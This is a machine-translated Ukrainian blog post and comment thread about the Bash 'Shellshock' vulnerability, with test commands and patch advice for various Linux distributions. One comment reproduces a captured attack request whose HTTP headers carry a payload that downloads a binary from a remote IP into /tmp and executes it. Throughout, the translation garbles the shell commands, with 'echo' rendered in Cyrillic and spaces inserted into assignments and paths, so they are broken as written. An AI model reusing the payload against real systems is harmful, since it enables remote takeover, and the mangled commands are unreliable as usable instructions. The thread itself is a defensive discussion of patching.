Це працює як пожежа на деяких блогах, історія, опублікована в блог безпеки de Red Hat про вразливість, виявлену в Bash через неправильне використання глобальних змінних. За оригінальною новиною:
“… Вразливість пов’язана з тим, що змінні середовища зі спеціально створеними значеннями можуть бути створені перед викликом оболонки bash. Ці змінні можуть містити код, який виконується одразу після виклику оболонки. Назва цих розроблених змінних не має значення, лише їх зміст. Як результат, ця вразливість виявляється в багатьох контекстах, наприклад:
- ForceCommand він використовується в конфігураціях sshd для забезпечення обмежених можливостей виконання команд для віддалених користувачів. Цей недолік можна використовувати, щоб уникнути цього та забезпечити довільне виконання команди. Деякі реалізації Git та Subversion використовують такі обмежені оболонки. Регулярне використання OpenSSH не впливає, оскільки користувачі вже мають доступ до консолі.
- Сервер Apache, що використовує mod_cgi або mod_cgid, впливає, якщо сценарії CGI записуються як у bash, так і підрівні рівня. Такі підрівні неявно використовуються системою / popen в C, os.system / os.popen в Python, якщо використовується оболонка system / exec в PHP (під час роботи в режимі CGI) та open / system у Perl (що залежить від командного рядка).
- Сценарії PHP, що працюють з mod_php, не впливають, навіть якщо відтворюються підрівні.
- Клієнти DHCP викликають сценарії оболонки для налаштування системи із значеннями, взятими з потенційно шкідливого сервера. Це дозволило б виконувати довільні команди, як правило, як root, на клієнтській машині DHCP.
- Різні демони та програми з привілеями SUID можуть виконувати сценарії оболонки із значеннями змінних середовища, встановленими / під впливом користувача, що дозволить виконувати довільні команди.
- Будь-яка інша програма, яка підключається до оболонки або запускає сценарій оболонки, як використання bash як інтерпретатора. Сценарії оболонки, які не експортують змінні, не є вразливими до цієї проблеми, навіть якщо вони обробляють ненадійний вміст і зберігають його в відкриті змінні оболонки (ліворуч) і підрівні.
... »
Як дізнатись, чи це впливає на мій Bash?
З огляду на це, існує дуже простий спосіб дізнатись, чи впливає на нас ця вразливість. Насправді я тестував на своєму «Антергосі» і, мабуть, у мене проблем немає. Що нам потрібно зробити, це відкрити термінал і поставити:
env x = '() {:;}; ехо вразливий 'bash -c "ехо це тест"
Якщо це виходить таким чином, у нас немає проблем:
env x = '() {:;}; echo вразливий 'bash -c "echo це тест" bash: попередження: x: ігнорування спроби визначення функції bash: помилка імпорту визначення функції для `x' це тест
Якщо результат відрізняється, можливо, ви захочете скористатися каналами оновлення бажаних дистрибутивів, щоб перевірити, чи вони вже застосували виправлення. Отже, ви знаєте 😉
Оновлено: Це висновок колеги з використанням Ubuntu 14:04:
env x = '() {:;}; ехо вразливий 'bash -c "ехо це тест" вразливий це тест
Як бачите, поки що вона вразлива.
У мене Kubuntu 14.04 з 64, і я також отримую:
env x = '() {:;}; echo вразливий 'bash -c "echo це тест"
уразливий
це перевірка
Я вже оновив, але це не виправляє. Що робити?
Зачекайте, поки вони оновляться. Вже, наприклад, eOS оновлено .. 😀
Як не дивно, у мене також є Kubuntu 14.04
$ env x = '() {:;}; ехо вразливий 'bash -c "ехо це тест"
bash: попередження: x: ігнорування спроби визначення функції
bash: помилка імпорту визначення функції для `x '
це перевірка
Я додаю, що версія пакету "bash", який було завантажено сьогодні:
4.3-7ubuntu1.1
http://packages.ubuntu.com/trusty/bash
У моєму випадку, даючи команду, вона просто дає мені таке в терміналі:
>
У всякому разі, жарт полягає в тому, що я оновив Debian Wheezy, і це мене кинуло.
Візі все ще вразливий до другої частини помилки, принаймні протягом обіду (UTC -4: 30) проблема все ще була наступною: /
Я щойно перевірив, що після застосування оновлення сьогодні вранці це не стосується ні Slackware, ні Debian, ні Centos, оскільки вони отримали відповідне оновлення.
Що робить Ubuntu досі вразливим у цей час? І скажи мені, що це безпечно: Д.
Але чи пробували ви оновити Ubuntu?
Сьогоднішнім оновленням вони також це виправили.
OK
Експерти з безпеки попереджають про вразливість "Bash", оскільки вона може представляти більшу загрозу для користувачів програмного забезпечення Linux, ніж помилка Heartbleed, де хакери можуть використати помилку в Bash, щоб отримати повний контроль над системою.
Тод Бердслі, інженерний менеджер фірми з кібербезпеки Rapid7, застерігав, що недолік був оцінений 10 за ступінь серйозності, тобто він має максимальний вплив, і оцінений як "низький" за складність експлуатації, тобто відносно легко для "хакера" атаки. Використовуючи цю вразливість, зловмисники можуть потенційно взяти під контроль операційну систему, отримати доступ до конфіденційної інформації, внести зміни тощо ", - сказав Бердслі. "Той, хто має системи, які займають Bash, повинен негайно застосувати патч", - додав він.
ДО ЦЬОЇ ВІДНОВЛЕНОСТІ, ЩО ПРЕДСТАВЛЯЄ СТАРИЙ ІНСТРУМЕНТ (GNU), де розміщується Бах, для програмного забезпечення Linux було б зручніше позбутися GNU і змінити інструмент BSD.
PS: не ЦЕНЗУЙ мою свободу вираження поглядів, ... нікого не ображай, ... не видаляй моє повідомлення, як попереднє повідомлення, яке я видалив!
О, будь ласка, не перестарайтеся. Як я ненавиджу тих людей, які використовують BSD і зневажають GNU, Linux або щось з цих проектів.
Я з вами, і ви абсолютно праві щодо серйозності цієї діри.
Це була не цензура, це була надмірність (ви зробили такий самий коментар у дописі gnome 3.14)
«… І оцінено« НИЗЬКИМ »ЗА СКЛАДНІСТЬ експлуатації, що означає, що це відносно ЛЕГКО для хакерських атак»
Чи помітна невідповідність?
Як можна легко використати вразливість і в той же час мати "низький" рівень ризику, оскільки він настільки складний у використанні?
Це помилка, яку вдалося вирішити за кілька годин після зустрічі, і яка, як серце, не має повідомлень про те, що її експлуатували (звичайно, у цього менше часу, щоб знати один одного).
Це більше преса таблоїдів, ніж реальний ризик.
@Staff здається вам неважливим? Що ти мені зараз скажеш?
ОТРИМАЙТЕ /. HTTP/1.0
.Агент-користувач: .Дякую-Роб
.Cookie: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Host: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Referer: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Прийняти :. * / *
$ файл nginx
nginx: 32-розрядна версія LFB ELF, Intel 80386, версія 1 (SYSV), статично пов'язана, для GNU / Linux 2.6.18, позбавлена
$ md5 сума nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$ sha256 сума nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Ви знаєте, що це? З мало небезпечного нічого ...
Ситуація досить серйозна, але звідти сказати, що вам слід припинити використовувати bash для опції BSD, це вже максимум, у будь-якому випадку оновлення вже є, я просто торкаюся оновлення і нічого іншого.
Зараз PD, я думаю, що це скоріше колега @robet, я не думаю, що адміністратори тут присвячені видаленню таких коментарів, тому що так, тому що, оскільки я брав участь у цій спільноті, у мене було таке відчуття, і я сподіваюся на це залишається таким.
Привіт.
Ви ставите абсолютно однаковий коментар до двох різних публікацій. Якщо ви намагаєтесь рекламувати "джерело" історії, вибачте, це не місце.
Bash походить від Unix (та його клону GNU). Також зачіпаються системи на базі BSD, такі як OSX, і, за словами Генбети, вони ще не виправили їх. Так само для доступу до Bash вам потрібен обліковий запис користувача, або локальний, або через SSH.
@ Персонал:
1. - Він класифікується як рівень 10 (максимальний рівень небезпеки) через обсяг послуг, на які може вплинути помилка. В основній примітці вони дуже чітко висловлюють цей факт, стверджуючи, що помилка може впливати на такі послуги, як apache, sshd, програми з suid-дозволами (xorg, серед інших).
2. - Він класифікується як низький рівень складності, коли справа доходить до його реалізації, і найкращим прикладом цього є сценарій тесту на вразливість, який @elav розмістив у дописі. Дуже складно реалізувати це не так, як бачите.
Я не бачу надмірності в інформації (я бачу лише переклад Google), і якщо проблема досить серйозна, і, як ви кажете, вона вже має патч і рішення, але не для цього, це вже не ризик, і цілком реальний.
@petercheco / @Yukiteru
Не розумійте мене неправильно, я думаю, очевидно, що моя критика - це новина, яку Робет пов'язує, і зосереджена на невідповідності, а не надмірності.
Таким же чином, ми повинні розмежовувати ризик та небезпеку (останню я не згадую), ми зазвичай використовуємо їх як синоніми, але тут небезпекою може бути збитковість помилки та ризик ймовірності її виникнення.
У моєму конкретному випадку я вступив з вчорашнього дня. Це було не для списків розсилки або чогось подібного. Це було для дистрибутива на робочому столі! Я взяв телефон і відправив повідомлення сисадміну із посиланням і підтвердив, що у мене все виправлено, потім вибачте, але ці новини не дають мені спати.
На інших форумах вони згадують про вразливість Bash, "рішення, яке випустили Debian та Ubuntu", але сьогодні вони виявили, що вразливість все ще існує, тому рішення було неповним, вони згадують це!
Я бачу, що багато хто критикував мене за простий факт запобігання людям серйозності вразливості, кваліфікований на рівні 10 максимальної небезпеки, та згадування можливих рішень програмного забезпечення Linux перед застарілим інструментом GNU, де розміщується Bash - що цілком могло б зробити GNU бути заміненим інструментом BSD у програмному забезпеченні Linux… Я також використовую Linux і мені подобається Linux!
Я уточнюю, що Bash за замовчуванням не встановлюється в BSD, це ще один пакет сумісності Linux, який можна встановити в BSD ... так! А джерело розміщено так, щоб вони могли перевіряти новини, оскільки багато користувачів часом не вірять повідомленню чи коментарю.
robet: Як вони вже говорили вам знову і знову, ви вже розміщуєте свій коментар з новиною в дописі, вам не потрібно вносити його в кожен пост, який ви коментуєте.
Про bash, оскільки існують інші оболонки, які можна використовувати на випадок, якщо Bash є вразливим. 😉
Робет, про що я знаю, немає жодного програмного забезпечення, що поєднує ядро Linux із користувачем BSD. Найближче - навпаки, kBSD + GNU, як це роблять Gentoo та Debian. Крім того, GNU (1983) не можна назвати "старомодним", якщо це після BSD (1977). Вони обидва діляться своїм коренем unix (але не кодом), не було б "сумісності з Linux", якби Bash створювався, коли Лінус Т був ще дитиною.
uff, тестування debian на даний момент є "вразливим", яка низка у нас є ...
Я використовую тестування Debian, і навіть у цій гілці ми отримали оновлення bash
відповідно до genbeta, існує також ще одна вразливість
http://seclists.org/oss-sec/2014/q3/685
команда проконсультуватися
env X = '() {(a) => \' sh -c "ехо вразливе"; bash -c "echo Failure 2 unpatched"
той самий я.
Те ж саме. Але оригінальна помилка у дописі була виправлена в (L) Ubuntu 14.04
Замість простого відлуння намагаюся змусити його виконати інструкцію, яка вимагає привілеїв, я кидаю "недостатньо привілеїв" ... ця помилка не ескалації привілеїв? Якщо вона не ескалації привілеїв, це не настільки небезпечно, як вони малюють.
Ти маєш рацію!! це були дві вразливості ...
Для мене в Linux Mint 17 після другого оновлення bash, яке вони помістили у сховищах Ubuntu минулої ночі, після виконання цієї команди оболонка пропонує такий результат:
env X = '() {(a) => \' sh -c "ехо вразливе"; bash -c "echo Fail 2 unpatched"
>
Версія "bassh", яка була розміщена у сховищах Ubuntu для оновлення попередніх:
4.3-7ubuntu1.2
У похідних системах Debian ви можете перевірити встановлену версію за допомогою цієї команди:
dpkg -s bash | grep версія
У будь-якому випадку, це слід пояснити, принаймні для користувачів Debian, Ubuntu та Mint; Ви не повинні сильно турбуватися про програми, які запускають сценарії з заголовком #! / Bin / sh, оскільки в цих дистрибутивах / bin / sh не викликає "bash", а прив'язується до оболонки "dash" (тире :)
Консоль алхіміка Debian (тире) - це похідна консоль POSIX
попелу.
.
Оскільки він виконує сценарії швидше, ніж bash, і має менше залежностей
бібліотек (що робить її більш надійною проти програмних збоїв або
апаратне забезпечення), він використовується як системна консоль за замовчуванням у системах
Debian.
Отже, принаймні в Ubuntu, "bash" використовується як оболонка для входу користувача (також для кореневого користувача). Але будь-який користувач може використовувати за замовчуванням іншу оболонку для користувача та кореневих консолей (терміналів).
Легко перевірити, чи виконує оболонка сценарії (#! / Bin / sh), виконавши такі команди:
file / bin / sh
(вихід / bin / sh: символічне посилання на `` тире ''), ми слідуємо за трасуванням, повторюючи команду
file / bin / dash
(вихід / bin / dash: 64-розрядний спільний об'єкт LSB ELF, x86-64, версія 1 (SYSV), отже, це виконуваний файл.
Такі результати для дистрибутива Linux Mint 17. У інших дистрибутивах, не заснованих на Ubuntu / Debian, вони можуть відрізнятися.
Змінити оболонку за замовчуванням не складно !! Ви навіть можете використовувати інший для користувачів і для кореневого користувача. Насправді, вам просто потрібно встановити бажану оболонку та змінити за замовчуванням за допомогою команди "chsh" або відредагувавши файл / etc / passwd (хоча користувачі, які не знають наслідків помилки під час редагування файлу "passwd", це краще повідомити себе дуже добре і перед редагуванням зробіть копію оригіналу на випадок, якщо його потрібно буде відновити).
Мені комфортніше з "tcsh" (tcsh це :)
Консоль TENEX C, вдосконалена версія Berkeley CSH
"Csh" - це те, що Mac OS X використовував кілька років тому. Що має сенс, враховуючи, що більша частина операційної системи Apple - це код FreeBSD. З того, що я прочитав учора, здається, що вони також надають "bash" для користувацьких терміналів.
ВИСНОВКИ:
- Виправлені версії "bash" вже розповсюджені "для найбільш часто використовуваних дистрибутивів"
- "bash" версія 4.3-7ubuntu1.2 і пізніших версій не містить цих помилок
- Необов’язково використовувати "bash" в OS * Linux
- Кілька * дистрибутивів Linux посилання #! / Bin / sh з "bash"
- Є альтернативи: ash, dash, csh, tcsh та деякі інші
- Не складно змінити оболонку за замовчуванням, яку система викликає при відкритті терміналу
- Мало маленьких пристроїв (маршрутизаторів та інших) використовують "bash", тому що він дуже великий !!
Зараз щойно надійшло чергове оновлення, яке встановлює чергову версію "bash" 4.3-7ubuntu1.3
Для Linux Mint 17 та Ubuntu 14.04.1 LTS
ArchLinux увійшов до версії bash-4.3.026-1
@ Xurxo .... Цей інструмент є найкращим для програмного забезпечення Linux.
Я думаю, це помилка
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
правда?
І яким було б рішення?
Зачекайте, поки вони оновлять пакет на вашому дистрибутиві 😉
Помилка охрестилася як черепашка
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
уразливий
це перевірка
Поки що немає виправлення для Ubuntu Studio 14.04
Відремонтовано в Ubuntu Studio 14.04.1
Wisp @ ubuntustudio: ~ $ env x = '() {:;}; ехо вразливий 'bash -c "ехо це тест"
bash: попередження: x: ігнорування спроби визначення функції
bash: помилка імпорту визначення функції для `x '
це перевірка
Насправді це незначна вразливість, якщо вона зачіпає вас, це те, що ви робили щось не так раніше ...
Оскільки скрипт bash, який працює з привілеями root, ніколи не повинен піддаватися користувачеві. І якщо він балотується без привілеїв, такої вразливості немає. Насправді це безглуздо. Багато страшилки.
Я думаю так само.
Точно, щоб продати більше газет або отримати більше відвідувань, ці помилки хороші.
Але вони завжди забувають згадати, що для того, щоб скомпрометувати комп’ютер подібними сценаріями, спочатку потрібно мати доступ до bash, а потім мати його як root.
Персонал, якщо ви використовуєте apache з cgi, просто введіть в заголовки http як файли cookie або реферер функцію, яку ви хочете виконати. Його навіть використовували для поширення глистів.
і якщо хтось ставить оболонку на сервер за допомогою wget mishell.php, то в цьому випадку це несерйозно, правда?
Згоден з вами. Я думав, що це величезна помилка, подібна до тієї, що в Heartbleed (навіть АНБ давала собі нагоду підсилювати захворюваність), але зрештою це була незначна помилка.
Є й інші справді серйозні помилки, такі як шалене споживання Flash та падіння продуктивності Pepper Flash Player, і та, яку вже виправили помилка webRTC у Chrome та Firefox.
Чи знаєте ви, чи існує домовленість для людей, які мають Linux Mint 16?
У тестуванні Debian це вже було виправлено.
У моїх 5 дистрибутивах це вирішено, в моїй OS X я не знаю.
Будь ласка, не цензуруйте мій коментар, я сказав OS X. Я не знаю, чи можете ви сказати OS X на цьому сайті.
@yoyo ну не лякайте, що вони все ще працюють над деякими деталями патчу ... спробуйте це, а потім скажіть, як щодо XD
env x = '() {:;}; ехо вразливий 'bash -c "ехо Я вразливіший за сміття iphone 6"
Що, якщо вони вирішили це на 100% до OS X, я ставлю щось
Ну, навіть в Ars Technica вони надають значення Bash в OSX.
@Yoyo наступний коментар до OS X для СПАМУ .. ля ту зберегти .. 😛
@yoyo там, щоб виправити цитати ... а все інше ви знаєте 😉
FSF виступив
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
Наче вони стали протегувати OSX (оскільки OSX все ще використовує Bash: v).
У будь-якому випадку, мені не потрібно так возитися з Дебіан Джессі.
Якщо система вразлива в ОС Cent:
yum очистити все && yum оновити bash
щоб побачити версію bash:
об / хв -qa | grep bash
Якщо версія раніше, ніж bash-4.1.2-15.el6_5.1, ваша система може бути вразливою!
Привіт.
Друга вразливість ще не вирішена
env amvariable2 = '() {(a) => \' sh -c "echo amVulnerable"; bash -c "echo Failure 2 unpatched"
Оновлення ...
У Gentoo зі мною трапляється навпаки, я вразливий лише до першої невдачі, але з другою я отримую таке:
[код] sh: X: рядок 1: синтаксична помилка біля несподіваного елемента `= '
sh: X: рядок 1: ''
sh: помилка імпорту визначення функції для `X '
sh: вразливий: команду не знайдено
Помилка 2 не виправлена
[/ Code]
Я не знаю, чи вже буде стабільна версія Bash з виправленими помилками, але в будь-якому випадку вона буде очікуватися наступного разу, коли я буду emerge –sync && emerge –update –deep –with-bdeps = і - newuse @world (саме таким кроком я оновлюю всю систему).
У мене є Gentoo з версією 4.2_p50, і поки що він пройшов усі тести. Спробуйте emerging –sync, а потім emerge -av1 app-shells / bash, а потім перевірте, чи маєте ви версію 4.2_p50, використовуючи команду bash –version.
Ви пробували це?
А з новими пакетами - новий тест, який нам пропонує Red Hat
cd / tmp; rm -f / tmp / echo; env 'x = () {(a) => \' bash -c "дата відлуння"; cat / tmp / echo
Якщо наша система не вразлива і була правильно виправлена, вона повинна дати нам щось подібне
Дата 1
2 cat: / tmp / echo: Файл або каталог не існує
Спробуйте так:
env X = '() {(a) => \' sh -c "ехо вразливе"; bash -c "echo Failure 2 patched"
я отримав
уразливий
Виправлена помилка 2.
Забудьте, рядок погано відформатований.
Чудово! Я вже оновлював свій Slackware, дякую!
Привіт, виникає запитання, у мене є кілька серверів із 10-бітним "SUSE Linux Enterprise Server 64".
Коли я виконую команди, я вразливий, я навіть більш вразливий, ніж сміття iPhone 6 xD
Якщо я не помиляюсь, оновлюючи / встановлюючи пакети в SUSE, це робиться за допомогою команди «zypper».
На деяких серверах він повідомляє мені це:
BIAL: ~ # zipper up
-bash: zypper: команду не знайдено
BIAL: ~ #
А в інших це:
SMB: ~ # zipper up
Відновлення системних джерел ...
Розбір метаданих для SUSE Linux Enterprise Server 10 SP2-20100319-161944…
Розбір бази даних RPM ...
Основна інформація:
Нічого робити.
Що я роблю?
Я знаю, що деякі кажуть, що вразливість менше, ніж її малюють, але у мене є, і я не хочу піддаватися ризику, будь то малий чи великий.
Привіт.
Доброго вечора, я спробував вставити код, який ви вказали в статті, я отримую це
sanders @ pc-sanders: ~ $ env x = '() {:;}; ехо вразливий 'bash -c "ехо це тест"
це перевірка
sanders @ pc-sanders: ~ $
Поясніть мені, будь ласка, як виправити дистрибутив, я оновлююсь щодня і не бачу жодних змін у підказці.
Велике спасибі!